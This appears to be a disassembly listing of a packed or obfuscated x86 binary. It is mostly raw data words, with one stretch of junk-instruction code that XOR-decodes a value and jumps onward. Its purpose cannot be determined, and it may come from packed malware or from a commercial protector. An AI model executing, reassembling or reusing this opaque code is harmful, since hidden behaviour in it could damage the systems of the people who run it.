		dd 80F143C7h, 47E01B61h, 49D43FA1h, 3605A21Dh, 4D55ECCFh
		dd 0A93F4BC9h, 0F23B221Eh, 0F60529E0h, 5B2F1A9Bh, 0A0A455ECh
		dd 0FB0D5252h, 0E1E37C80h, 481392AAh, 20D84574h, 3E6F9022h
		dd 56668A0Eh, 7585F809h, 0AAA2DFEAh, 56BDDA2Eh,	688F68CCh
		dd 0B0742759h, 0C8984DBh, 7BB9F413h, 0D3EBA2A4h, 0F7077E8Ch
		dd 94D35C68h, 0AA19B17Bh, 7B043458h, 0CA39514Ch, 45EFDE6Dh
		dd 0CEF155D2h, 0BBF0086Fh, 27A38ED2h, 4CABCCF0h, 0A9E4E625h
		dd 0D2C0CB92h, 45DBE655h, 0F5197DD2h, 79007B3Fh, 0E299AB4Bh
		dd 324A6EEAh, 7D8F5CD6h, 128DFE0Eh, 45DBA695h, 0DB593DD2h
		dd 349h, 0A68CE700h, 4346767h, 3A52497Bh, 5E6E2925h, 71890401h
		dd 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h
		dd 4EC831Fh, 50240489h,	405E089h, 83000000h, 48704E8h
		dd 2C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	ebp, 79DB4C78h
		and	ebp, 3A4A454Ch
		inc	ebp
		shr	ebp, 6
		add	ebp, 66A60417h
		push	edx
		mov	edx, 9E952FD4h
		add	ebp, edx
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		xor	dword ptr [esp], 30EA4A33h
		pop	dword ptr [edx+8]
		xor	dword ptr [edx+8], 30EA4A33h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dw 0B1B2h
		dd 0ADD80670h, 4C1A1CCDh, 9FB4662Bh, 1C624DB8h,	0FFC50306h
		dd 992D03E0h, 4582E00Bh, 20CD53Bh, 720C9433h, 6825505Bh
		dd 84FED76Bh, 5E3F6170h, 0C840FC3Ah, 0D28D8D6Fh, 66061C63h
		dd 8611D381h, 2B698D89h, 6A0614h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 958B0BC3h, 614254Dh
		dd 105585C7h, 5EA80614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0B00F54C3h, 0BFD28A3Fh
		dd 6DC24648h, 6870Fh, 858B0000h, 614074Dh, 13D85C7h, 614h
		dd 0BF0F0000h, 0CDB5FFD8h, 6A06140Eh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF6CC355h
		dd 140BD995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 5F424665h, 50476110h, 6AD38B66h
		dd 7195FF00h, 8B061429h, 9B1DEBC0h, 3BD7AAE6h, 6B7FA85Ah
		dd 199D1D10h, 76AE3916h, 0A19832CBh, 0B9150920h, 1FEB461Ch
		dd 0AE8h, 8F20F700h, 26DD29FDh,	89B1E03Fh, 143085B5h, 85895906h
		dd 6142C69h, 71E0C181h,	0B5290000h, 6140E91h, 270C11BBh
		dd 0CDEB8165h, 0E86526EFh, 0Ah,	3F01FF07h, 7F151F15h, 8B0FCF7Eh
		dd 0
		dd 8B31FF5Ah, 1433A9B5h, 0D18B5F06h, 4D6BEF81h,	0CE800A4Eh
		dd 20EF81F0h, 6663A0BAh, 0A4D9E881h, 0EA73F781h, 57F9149Dh
		dd 18F02B4h, 96D9D89h, 0E9810614h, 3C620AA1h, 8189E280h
		dd 620A9DC1h, 0E9858B3Ch, 81061401h, 1EBh, 24850F00h, 0E9000000h
		dd 0Ch,	0BF39391Bh, 0AFF3F9ABh,	0F7528C9Ah, 28E9h, 15641300h
		dd 0CE4A5836h, 0E5FA750Dh, 816104DCh, 5B0CA3E6h, 0FF7FE924h
		dd 5D12FFFFh, 13C2E4F0h, 9DDBC597h, 7CD353B7h, 10EB5Fh
		dd 3 dup(0)
		dd 8B000000h, 0F99533C0h, 83061412h, 1410F1BDh,	9750006h
		dd 0E25BD83h, 74000614h, 8B535019h, 42DB8C0h, 85890000h
		dd 6141819h, 0A7529D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h
		dd 50177400h, 42DB853h,	85890000h, 6141819h, 0A4419D8Dh
		dd 0D3FF0616h, 6A585Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 21B657C3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 20C35747h, 780F8C6Dh, 9BF55D09h
		dd 0FC08BC5h, 68Ch, 41958B00h, 29061423h, 140E2985h, 0B98D8B06h
		dd 8B061401h, 141C4DB5h, 0F98306h, 8B840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 13A84EC3h, 13A289B5h, 4AB21177h, 8B64D08Ah, 2C3Dh, 4800F00h
		dd 60000000h, 0B616160h, 4A840FFFh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 7353C353h, 0EF35AB9Bh, 27BAD7A5h, 8B6C3B6Fh,	0BE93Fh
		dd 41F60000h, 0B2298879h, 221741ECh, 8BC03292h,	141689B5h
		dd 29AAF306h, 142675B5h, 41493506h, 8D315350h, 6141C35h
		dd 84985C6h, 6A470614h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 73C9C350h, 1495BB29h
		dd 22868C6h, 8B66D4B3h,	240481F2h, 8238604h, 5A07D9BAh
		dd 65B5FF61h, 6A06142Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0FA03C356h,	0D03E0E63h
		dd 0B70FB200h, 0FE858DF2h, 8B061778h, 1423FD95h, 89D0FF06h
		dd 1423FDB5h, 23575106h, 140A69B5h, 895A5E06h, 14103985h
		dd 0DE816606h, 85C6C65Bh, 6140849h, 2251BE53h, 0D368217Dh
		dd 662ACF56h, 481F28Bh,	0C9142924h, 55006A5Dh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FF94A59Ah
		dd 142C65B5h, 0C1B52B06h, 8D06141Ch, 1778FE85h,	4DB52906h
		dd 0FF06141Ch, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0D858D21h, 0F061734h
		dd 8589D3B7h, 6140801h,	0FB0CBE66h, 0FF6A206Ah,	80195FFh
		dd 49350614h, 0C7535041h, 142FE585h, 106h, 0BD85C700h
		dd 6140Fh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0FFA1C353h, 4984E23Bh,	9528E5Ah
		dd 140A7D85h, 56505A06h, 1FA5958Bh, 5A5A0614h, 781858Bh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0AD8A10C3h, 0D9B563B7h, 2DBE6381h, 6640D0DEh
		dd 0A1B9F281h, 0A364h, 0BD830000h, 6140CC9h, 19840F00h
		dd 8B000000h, 1424C995h, 51858B06h, 81061425h, 0DD4BC9E6h
		dd 66E08B35h, 0B987D681h, 0D19BD83h, 0F000614h,	37685h
		dd 218D3100h, 0C606140Eh, 14084985h, 6A5606h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E63183C3h
		dd 197D7190h, 60C6F436h, 0CF19D89h, 0EB810614h,	252D687Ch
		dd 0D8026861h, 0E960C989h, 10h,	0C66D62C3h, 0D09E75C9h
		dd 6EA06E20h, 0E5475C20h, 61D88B66h, 0DD243481h, 89604CE8h
		dd 1430398Dh, 49B58B06h, 0FF06140Ch, 142C65B5h,	9B58906h
		dd 8D061420h, 1778FE85h, 0FD0FF06h, 198Ah, 14E900h, 0F06B0000h
		dd 49A834A2h, 8344C586h, 0D0956F7Ch, 0EC316951h, 5E89FCEh
		dd 0BB000000h, 4FA64F72h, 905AF38Ah, 8A0F52h, 5E000000h
		dd 0FEABE50h, 6A907B50h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0AFA8C350h,	57B1A539h
		dd 1535B58Bh, 8D5E0614h, 1426418Dh, 0E991FC06h,	14h, 53BA7BCFh
		dd 1520FD24h, 79899A9Ah, 99358500h, 0DE69B4A8h,	0B2525050h
		dd 0E9310F85h, 0Fh, 7684D123h, 0A21901D1h, 42F14D03h, 5AEE9D90h
		dd 6A9158h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 46A2DC3h,	30F18D89h, 0B9680614h, 0E92F5C2Ah
		dd 6, 9DAEEE08h, 3481802Ch, 5C3AB924h, 58C0F2Fh, 0BA000000h
		dd 7843F735h, 23B5B5FFh, 9D010614h, 6140D1Dh, 6AD0FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9ED13DC3h, 80972854h, 5160C942h, 8F0Fh, 895A0000h, 1406B195h
		dd 0BD8B6106h, 61423B5h, 8B3C7F03h, 141235B5h, 0C5952906h
		dd 81061402h, 0F8C7h, 7E900h, 64290000h, 0DC8BEFFBh, 2447C772h
		dd 60000020h, 48B0Fh, 0BA660000h, 0BD836610h, 61C64CFh
		dd 15840F00h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0DF07C353h,	0C783021Dh
		dd 50006A28h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 27687332h, 0EE5FE02Dh, 0FD08B1Bh, 7C7F2BFh
		dd 64696A2Eh, 2E198D89h, 47C70614h, 61746104h, 8D0F00h
		dd 8B000000h, 1C64D785h, 7D850906h, 89061412h, 0BF600C47h
		dd 3C4C4911h, 117D9D89h, 8B610614h, 1C64DB85h, 0F28B6606h
		dd 25C5958Bh, 47890614h, 0C783F508h, 9E928h, 68770000h
		dd 7C3DD53Bh, 0C73A2881h, 6F632E07h, 0F1958B6Eh, 0C7061403h
		dd 69660447h, 8BFC0067h, 1C64D385h, 0CE906h, 7D0F0000h
		dd 2E79BF97h, 2062FC87h, 47891CC0h, 0E1952B0Ch,	8B06141Bh
		dd 1C64CF85h, 895A5006h, 6A0847h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 2CF424C3h, 1C18B909h
		dd 8B66F077h, 6E9D0h, 0E2190000h, 18447C2Ah, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BF0FCBFEh, 198D8DD6h, 50061430h, 8B240C89h,	1410EDB5h
		dd 41B5FF06h, 81061426h, 18CDF2C2h, 1B066871h, 8DBA3737h
		dd 8177F08Bh, 0B062434h, 95893737h, 61420D5h, 23B5B5FFh
		dd 0B70F0614h, 699531D1h, 0FF061400h, 29B58BD0h, 0B806140Ch
		dd 0
		dd 16ED9589h, 8D290614h, 6142A1Dh, 840FC00Bh, 48h, 0F5958B53h
		dd 5E06141Bh, 68C0Fh, 0BD890000h, 6140051h, 7A5B5FFh, 958B0614h
		dd 6141ECDh, 0BD995FFh,	6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 7B9926C3h, 0F992881Ch
		dd 0C681C08Bh, 88F2786h, 10F1BD83h, 75000614h, 25BD8309h
		dd 6140Eh, 53501974h, 2DB8C08Bh, 89000004h, 1424F185h
		dd 0B99D8D06h, 0FF0616A7h, 83585BD3h, 140E25BDh, 17740006h
		dd 2DB85350h, 89000004h, 1424F185h, 5A9D8D06h, 0FF0616A4h
		dd 66585BD3h, 4E3ADA81h, 0C08BD18Bh, 6EAFBE66h,	8D8DC08Bh
		dd 61C6D24h, 31658589h,	8D890614h, 6142B69h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 3FC35141h, 68F0F6Bh
		dd 29000000h, 140811BDh, 5585C706h, 0D8061410h,	8900006Fh
		dd 140F1D95h, 3D85C706h, 61401h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 13DBC357h
		dd 0A158503h, 0B5890614h, 6142681h, 7433E3BFh, 11B5FF2Fh
		dd 6A06141Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 3393C355h, 95FFFC62h, 6140BD9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0EBC35040h
		dd 37DB81B2h, 8B6A45F1h, 141DBD9Dh, 0FF006A06h,	14297195h
		dd 0EBC08B06h, 9736FA3Eh, 48DB8A0Eh, 0F1FCCCF3h, 0FE55FDE3h
		dd 0B41A749Bh, 6C5C5793h, 37FF4D79h, 0FE1A8674h, 7AB4E3F2h
		dd 0A312185Fh, 2EBAFC7Fh, 880E05C2h, 3D2F03A4h,	5DAC87DEh
		dd 718E4E7Ah, 8DEA4293h, 1C6E408Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0EF868306h
		dd 0FC003A2Ch, 89D78B66h, 142B698Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 6781F523h
		dd 96ECB945h, 1D9529C4h, 0C706142Ch, 14105585h,	669006h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0BBFB2023h, 85C7D88Bh, 614013Dh,	0
		dd 0DD9858Bh, 0B5FF0614h, 6140499h, 0EAEE8166h,	0D995FF22h
		dd 6A06140Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 8B32C352h, 0DD8523B1h,	89061408h
		dd 1402619Dh, 0FF006A06h, 14297195h, 0EBC08B06h, 0EAC41C7Ah
		dd 86CB5AF4h, 0D2BC7067h, 0E794D2B5h, 5B5E47EFh, 0DF58D10Fh
		dd 163113E4h, 5437DFE1h, 59DEF793h, 0BC6D50AAh,	2185E439h
		dd 532D40B9h, 0F07BFDC1h, 67000B12h, 0D614A51Ah, 6DE194C4h
		dd 814EF783h, 56F6D50Ah, 32DC4BF7h, 0B3D0C713h,	0DB1E4C7Fh
		dd 9582EFBCh, 62774E95h, 95B10D9h, 0E3A3A8Eh, 3EC1A277h
		dd 4A628EA1h, 208B0360h, 0E387BBD3h, 7448463Bh,	0E85CF7D1h
		dd 9, 0EB894CE0h, 4D877578h, 0F52524Dh,	84h, 5F5E5E00h
		dd 81F7BF0Fh, 61CFC7h, 0B9C18B00h, 0
		dd 715BD29h, 1C8B0614h,	0D9B5890Fh, 81061424h, 0ED7340F3h
		dd 0C800F44h, 0F000000h, 689h, 4DB52900h, 81061406h, 7141B8EBh
		dd 7B85664h, 586AC8C4h,	0AACBEB81h, 1C896622h, 0A7BE600Fh
		dd 89648772h, 14073D9Dh, 0E9836106h, 6860F04h, 8B000000h
		dd 141215B5h, 0E8F98106h, 0FFFFF9Eh, 1685h, 8B666000h
		dd 0A58D23F9h, 6106141Eh, 22E9h, 1A918800h, 66D6AA2Fh
		dd 83E9D38Bh, 92FFFFFFh, 6629F4CFh, 2229982Ah, 9C7E224h
		dd 83D80CB2h, 0EB7BD130h, 3AAE900h, 0E1E10000h,	0CCFD6AAEh
		dd 0B7D24DD1h, 9BA936FAh, 84831CE0h, 52860509h,	64A8E5E4h
		dd 53D7CEFBh, 39FDB8D4h, 1DE19CAEh, 9DAC0970h, 1655ECFDh
		dd 8EF282FDh, 38759403h, 7D0E24E6h, 66674DB7h, 5974F337h
		dd 414FD85Ch, 2A59C64Ah, 0F6067F8Ch, 3DAA6E92h,	2459680Eh
		dd 6663FC00h, 507CEB2Fh, 0C2E6A3AEh, 103E4D3Eh,	0EF1A6595h
		dd 1A3E9AB2h, 4A414318h, 34EB87C6h, 0B35049DBh,	61991436h
		dd 85B5F01Eh, 631A28F7h, 1061868h, 0C95CEF48h, 73D755EBh
		dd 5B017EBDh, 818B23A2h, 6BB4D83Ah, 0B1152560h,	3ECFB763h
		dd 26F4314Ah, 3F4FC76Dh, 0D2EAA3A0h, 0E497A976h, 3C4C70D4h
		dd 1E8FB0CFh, 8CA69914h, 99445FDFh, 0AABA6072h,	6C491C3h
		dd 0D0000001h, 5356867h, 3A524F7Ah, 0EF48B3DEh,	53F09240h
		dd 202D4ACh, 4BD063CCh,	0EF5353F0h, 0B9BB0339h,	27ED118Ch
		dd 304F7FC3h, 0C9B9F0Eh, 138B83FAh, 287586F2h, 49DC97AAh
		dd 0D03747CBh, 0C9FB0A61h, 0DABB9D2h, 61112EDBh, 0FC844CC6h
		dd 0F16C9FEDh, 0BF8A2B86h, 3455E58Ah, 8A3A0950h, 2EB955E5h
		dd 0EC68601Dh, 791756C8h, 9222453Eh, 0B74D1580h, 82864FC9h
		dd 0DBD6F58Ah, 0C4B9C857h, 68DB44B7h, 0AC5FDAB7h, 0DAB73003h
		dd 0FBCFB35Fh, 0B8348197h, 0FC93AD9Dh, 0FB0E7636h, 32317E8Dh
		dd 0F65FDA5Bh, 0EC265577h, 1F6CB094h, 45F431ACh, 0DE5FDA5Bh
		dd 5BC0737Ah, 0FF435FDAh, 14608135h, 763691E7h,	7D2C3E93h
		dd 8752E14Eh, 6DD15FDAh, 0F39B04A7h, 7C45F67Bh,	709FE018h
		dd 5F6EF93Dh, 57B22A22h, 92951229h, 0AE41CEB3h,	37FDB0DFh
		dd 1B92B433h, 8BB867E3h, 512AEE12h, 0A38A103h, 0B240891Bh
		dd 6FB3EE1Dh, 1B6180A5h, 5CFF75E0h, 67BCC990h, 0C220AD67h
		dd 6349DC2Dh, 6E90EF1Fh, 1B15FB3Fh, 916814F1h, 0C4CD2A2h
		dd 0C9F58A1Fh, 3CF34A4Bh, 0B1D355E4h, 0EA4536FAh, 0E43CFE4Dh
		dd 1F117555h, 0A11224B1h, 6F3CF6D1h, 0AD1E2E5Dh, 0C5F5B0DEh
		dd 5951AF41h, 25CC74F2h, 9F0E30EFh, 0B0EB1D6Ch,	0E8E33C98h
		dd 0FB399DADh, 97FE1DCBh, 0E3275668h, 0A932A977h, 32358Bh
		dd 8BE30000h, 37DF02FDh, 0DC56550Fh, 7A8819E8h,	6B8F0B03h
		dd 79D7D750h, 106F49DCh, 0F7BB9F4h, 5A6CF30Bh, 33512823h
		dd 0EB0F8683h, 0AB36929h, 39000000h, 1A326967h,	0C4484345h
		dd 3269670Eh, 3201AE19h, 0F653F092h, 0F0929AA9h, 41351953h
		dd 168337FDh, 923B0AABh, 68F753F0h, 0A5162657h,	0F092C978h
		dd 0A2C64A53h, 1C2C1050h, 0F8BDD9AFh, 5D073273h, 0B89C53F0h
		dd 0E2AAC66h, 0E8A82FFh, 517328EAh, 76A5225Ah, 0EAF121Fh
		dd 53F0E637h, 72B3C84Ch, 53F0E6C7h, 0BCC3F85Ch,	97A20391h
		dd 2C53F0E6h, 26120428h, 0F65B8555h, 27C07082h,	5B27625h
		dd 1892EEh, 67180000h, 0C4BFCD65h, 0FA3B50B4h, 53F0924Fh
		dd 2C5C40C4h, 0B67A3153h, 6767D0C2h, 497B0434h,	29253A52h
		dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh,	6D98E717h
		dd 46471830h, 531F2757h, 0C381E389h, 4,	8704EB83h, 895C241Ch
		dd 7D68240Ch, 8900006Fh, 0C068243Ch, 89000031h,	0BE56240Ch
		dd 773663D0h, 2A0C56BFh, 8BF73171h, 0C4812434h,	4, 240C8B54h
		dd 4C481h, 0BB530000h, 8, 3B89CB01h, 83241C8Bh,	34FF04C4h
		dd 0C4835924h, 2434FF04h, 4C4835Fh, 0F80DB3E9h,	134150FFh
		dd 1C72C7B8h, 0FFC50306h, 0E89585E0h, 5E88205Fh, 0C8940D5Eh
		dd 0BB672734h, 10F6B855h, 0BA9C870h, 0EDC8590Ch, 0D5C86C4Eh
		dd 45996406h, 0FEF91C37h, 290E031Bh, 7785E74Bh,	0AF5AD42Ch
		dd 74E8DD54h, 17932341h, 4C00227h, 0E30CF37Dh, 0B23C0E4Eh
		dd 0DAD0E66h, 0D860C306h, 0FB05A768h, 0F6418F52h, 0CF1C9A58h
		dd 0EB2BEC72h, 0DC146939h, 8A12C671h, 41C60D08h, 0D5BDFD2Ah
		dd 8007B55Ch, 0D38B34C0h, 6CAECE81h, 66F94F89h,	0E950FA8Bh
		dd 6, 0AFC6F8Dh, 0F58C9C2h, 58Dh, 0C8805700h, 830F5E43h
		dd 0
		dd 9E9h, 4DEF2D00h, 750B8DA5h, 0E68120A8h, 6F47557Fh, 7E9F38Bh
		dd 0E6000000h, 0A139F3A3h, 5F50DF77h, 0D3806060h, 0D1B70F23h
		dd 1850F61h, 0F9000000h, 1DE68161h, 0F224FEFh, 24BFDFB7h
		dd 56292D88h, 67C68166h, 0EF815A53h, 30C9C238h,	5F91B551h
		dd 9DFBE2B9h, 14880F38h, 0E9000000h, 0Fh, 0C57BD01Fh, 1FC9E027h
		dd 53E8E6B9h, 0BF195C12h, 19979642h, 2238BB66h,	66D0EE80h
		dd 3442C981h, 0F2D68166h, 0CE9A0h, 41D50000h, 0EED12D5Eh
		dd 4C24B435h, 0B70F4C8Dh, 59F551CEh, 0F9D3B70Fh, 12E9h
		dd 0F03C6F00h, 0D425C6Dh, 3FEB2641h, 1A8AF75Fh,	0E9400AEAh
		dd 12h,	19F9E168h, 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h, 0B70FAC1Ah
		dd 5260F9F9h, 8E9h, 97E89A00h, 0FFD95B40h, 49B95F23h, 613A8CB8h
		dd 84439DBFh, 0FE8FC72h, 46000000h, 0B46FF5C9h,	0FAACEE16h
		dd 0C84952D6h, 5AFC9EB0h, 0AE9h, 993D2000h, 390BD120h
		dd 0FEBB6C9h, 98Bh, 3840F00h, 0F000000h, 0DE9F0BFh, 48000000h
		dd 0F08AD536h, 0CFE5FF8Bh, 0DB006F01h, 0D28108B2h, 609C8DFFh
		dd 0E9C18B66h, 0Ah, 0CD5A4E8Eh,	0B7E69E93h, 8B0F7372h
		dd 2Ch,	10E8h, 2FE75400h, 9C552BB1h, 78059C8Dh,	0CC93BB7Fh
		dd 11E99Ch, 0D3AE0000h,	0EF497369h, 0B06A41E9h,	1A435200h
		dd 5F31F989h, 18E0Fh, 8BF50000h, 8166FCC2h, 81B790E3h
		dd 394355EAh, 0E967B607h, 13h, 6D2E3F74h, 0E152FE7Ah, 7559F343h
		dd 8108BAAEh, 8014823Ch, 0D58A59F0h, 0B06D52BEh, 1DBE662Fh
		dd 8E96042h, 60000000h,	0FF689B12h, 666CCBF8h, 61E8DDBEh
		dd 8E9h, 6BE8AE00h, 415DFD1Bh, 0F3ACB996h, 0C38A2907h
		dd 0E9C38B66h, 0Ah, 0A4A5EA37h,	3BA9904Eh, 0E8566FE4h
		dd 8, 0FFA06581h, 3A2D71E0h, 5B5806B6h,	0DE9h, 0A17D0900h
		dd 321F7C13h, 70799984h, 0B70FDCDEh, 0E9EBBAC7h, 8B500A7Dh
		dd 0D68B5FF0h, 0EABE31B4h, 0FC25AC73h, 0AE9h, 31936E00h
		dd 11D53796h, 0FACE293h, 0EE8ADBB7h, 361E74BAh,	0C981663Ah
		dd 66F59EFBh, 60EF4DBBh, 870FF78Bh, 2, 6661D78Ah, 929CD681h
		dd 0F44CCF81h, 66607291h, 6661F98Bh, 8052C88Bh,	605F34F3h
		dd 0F08BF860h, 0E961F861h, 14h,	3C91721Dh, 2623E1B2h, 0E3508015h
		dd 38DA82D2h, 5369F3D3h, 4CB8DD8Ah, 0E922C289h,	7, 7E9124A7h
		dd 66A6C2E9h, 0B8EC96BBh, 9761883h, 2EDDE381h, 0CB8166D8h
		dd 74CFEBB0h, 820FC68Ah, 6, 2EEE81h, 0BF0F11D4h, 188D0FC3h
		dd 0E8000000h, 10h, 0F4FC21FEh,	0B34C82C4h, 1577A7BBh
		dd 97581967h, 0F59D98Bh, 0B866F9BFh, 0BE66D382h, 0B953B47Bh
		dd 3F69CE83h, 0FE8B665Ah, 28B0Fh, 0D9B10000h, 8E9h, 0EE305A00h
		dd 149E1166h, 6FD88131h, 60722B24h, 6CF78166h, 0C38B66EBh
		dd 0C062BB61h, 830F3011h, 1, 60DF8BF8h,	2840Fh,	0CB30000h
		dd 0BE9h, 85B01500h, 96682C65h,	0F5C3A448h, 0AE961h, 0AC90000h
		dd 5AB7DE6Dh, 1300772Ch, 2D7FBB66h, 9870Fh, 8A0F0000h
		dd 3, 8182E380h, 0CF4523D0h, 0E5B9FC22h, 0F545AE66h, 4800Fh
		dd 0B9660000h, 0EE93A07h, 40000000h, 3EBF265Dh,	0AB6C4697h
		dd 7C0A5E94h, 0BA66FCA4h, 0EE8F56Fh, 8B000000h,	2BDC7256h
		dd 33F96B16h, 26635260h, 48D0FD5h, 66000000h, 5FEB68B8h
		dd 0BAB73FB0h, 10E860h,	3AAA0000h, 39A0CF9Eh, 1085AD40h
		dd 4FDA1357h, 0C18B1F7Eh, 8B61F85Fh, 0EE9F8F8h,	0E4000000h
		dd 0D79534B5h, 86C7198Ch, 0D4FBDB3Bh, 66E68A01h, 0B8EED1B9h
		dd 0AF936DBh, 0AE9h, 5F7D8700h,	2F02C7A5h, 0E98AA162h
		dd 10h,	1E4990AEh, 0CD4A818Eh, 33359783h, 0C6E63F7Ch, 13E850h
		dd 0C2DE0000h, 0A3D62D55h, 54EDC163h, 66371131h, 0A8984318h
		dd 0D8BB66CDh, 665A59B2h, 0AED6CB81h, 61F88B60h, 8AFABF0Fh
		dd 5810FECh, 0B8000000h, 31F8CE1h, 0BFD3B70Fh, 17DEFDD3h
		dd 60FABF0Fh, 7E233AB8h, 0F18B6625h, 42E38161h,	0F57A80Ch
		dd 58Ch, 7167BF00h, 6E821A9h, 0E5000000h, 9D6ACCE1h, 5A5160F0h
		dd 860Fh, 58610000h, 0AE9h, 0C9E21E00h,	89AD7C09h, 602E454Ah
		dd 22F18166h, 0DF8B606Bh, 0EA806161h, 3DF380FCh, 0E8D18BFCh
		dd 6, 0B47C7AFBh, 0B70FB1ADh, 8ABE59F0h, 66249AA7h, 8166CF8Bh
		dd 66D5BED8h, 52D981h, 9E8h, 92FC9700h,	7BBD70EEh, 860F0BB0h
		dd 0
		dd 8B66F95Ah, 13E8F0h, 10A50000h, 0A9071F37h, 293350F0h
		dd 0FBB30C7Bh, 0E9B35A4Ch, 0B5C2BE2Dh, 0B7585127h, 8FC38001h
		dd 0F2BF0FF9h, 13E834B3h, 68000000h, 8E516FD8h,	8A521152h
		dd 7B0FA517h, 0FAAAABFAh, 0C881BA24h, 758957A9h, 0B70F6059h
		dd 76DA81F1h, 6125F6F7h, 0B59ABBB8h, 0AADBE77h,	66F51717h
		dd 60B6CA8Bh, 0E95CE780h, 0Bh, 3D723117h, 0DD662223h, 6016CCCDh
		dd 61CBB70Fh, 11E9h, 40753300h,	4EC84789h, 870A0B2Ch, 65344558h
		dd 870FFDE5h, 6, 8BD88B60h, 0C08061C2h,	0F55DB3FEh, 60D0BF0Fh
		dd 0AE9h, 0DCA87100h, 2B255D79h, 610DDAB9h, 11E8h, 442B9A00h
		dd 0E988B999h, 0C846BB64h, 0A9286687h, 58531CA3h, 0BF0FF859h
		dd 0E7DF80F3h, 0F28B66FCh, 0F2F0BF66h, 0CE9F8h,	0CEC30000h
		dd 5576D0E4h, 8B7E2339h, 8B6640DDh, 35D881D3h, 0BF3780C9h
		dd 7444FA74h, 5E953h, 6EC50000h, 59D91AF3h, 6800Fh, 0CF810000h
		dd 69F6944Ch, 24CB8166h, 81D68BC5h, 671D1ED7h, 0FE917h
		dd 0D6AC0000h, 480425ECh, 952189D2h, 77C2A0B2h,	8B44B446h
		dd 0DEB70FC8h, 8F0F5850h, 11h, 0CE9h, 37EEC300h, 0E106FB9Dh
		dd 0EB9C8B2Fh, 817DB68Dh, 53137AF3h, 0C1B96669h, 0BA66604Ah
		dd 0F60DB99h, 83h, 0DE900h, 0F6480000h,	0F5AE3683h, 0F2DC0B2Eh
		dd 618F6EE9h, 0F3816661h, 0E960FC51h, 13h, 5FD8F8A6h, 0EA9A0596h
		dd 0C0419F8Ah, 30954F37h, 66647A53h, 0F61F08Bh,	0C82h
		dd 6850F00h, 0F000000h,	89h, 13E900h, 23850000h, 1503AA6Ah
		dd 0F3275EFBh, 0C82D1F9Dh, 968DBE34h, 662CB75Bh, 8B2295B9h
		dd 0DDBBFCDEh, 0BE7889AFh, 2811AB2Ch, 0FE8B66FCh, 10E9h
		dd 0DCBB2A00h, 0D6E37482h, 839A1449h, 4D60347Ah, 0BF665080h
		dd 60590751h, 0E8B4F380h, 7, 1A2B305Dh,	50854021h, 8061585Eh
		dd 0DC8ABAE5h, 138BD081h, 66F5756Fh, 0AD96E081h, 12E9FCh
		dd 52700000h, 0A4E713h,	9040A6C6h, 0CE248E0Bh, 0F34D25C7h
		dd 0BF0F7EB3h, 0F0BF0FC9h, 84BEC18Bh, 8B5D6F19h, 0B056F8DAh
		dd 0BF0F5E3Bh, 11E9C2h,	0D9850000h, 977F4471h, 63BB2F91h
		dd 9F3C2C19h, 802F86C3h, 0BE988EDh, 0BB000000h,	0E83462C8h
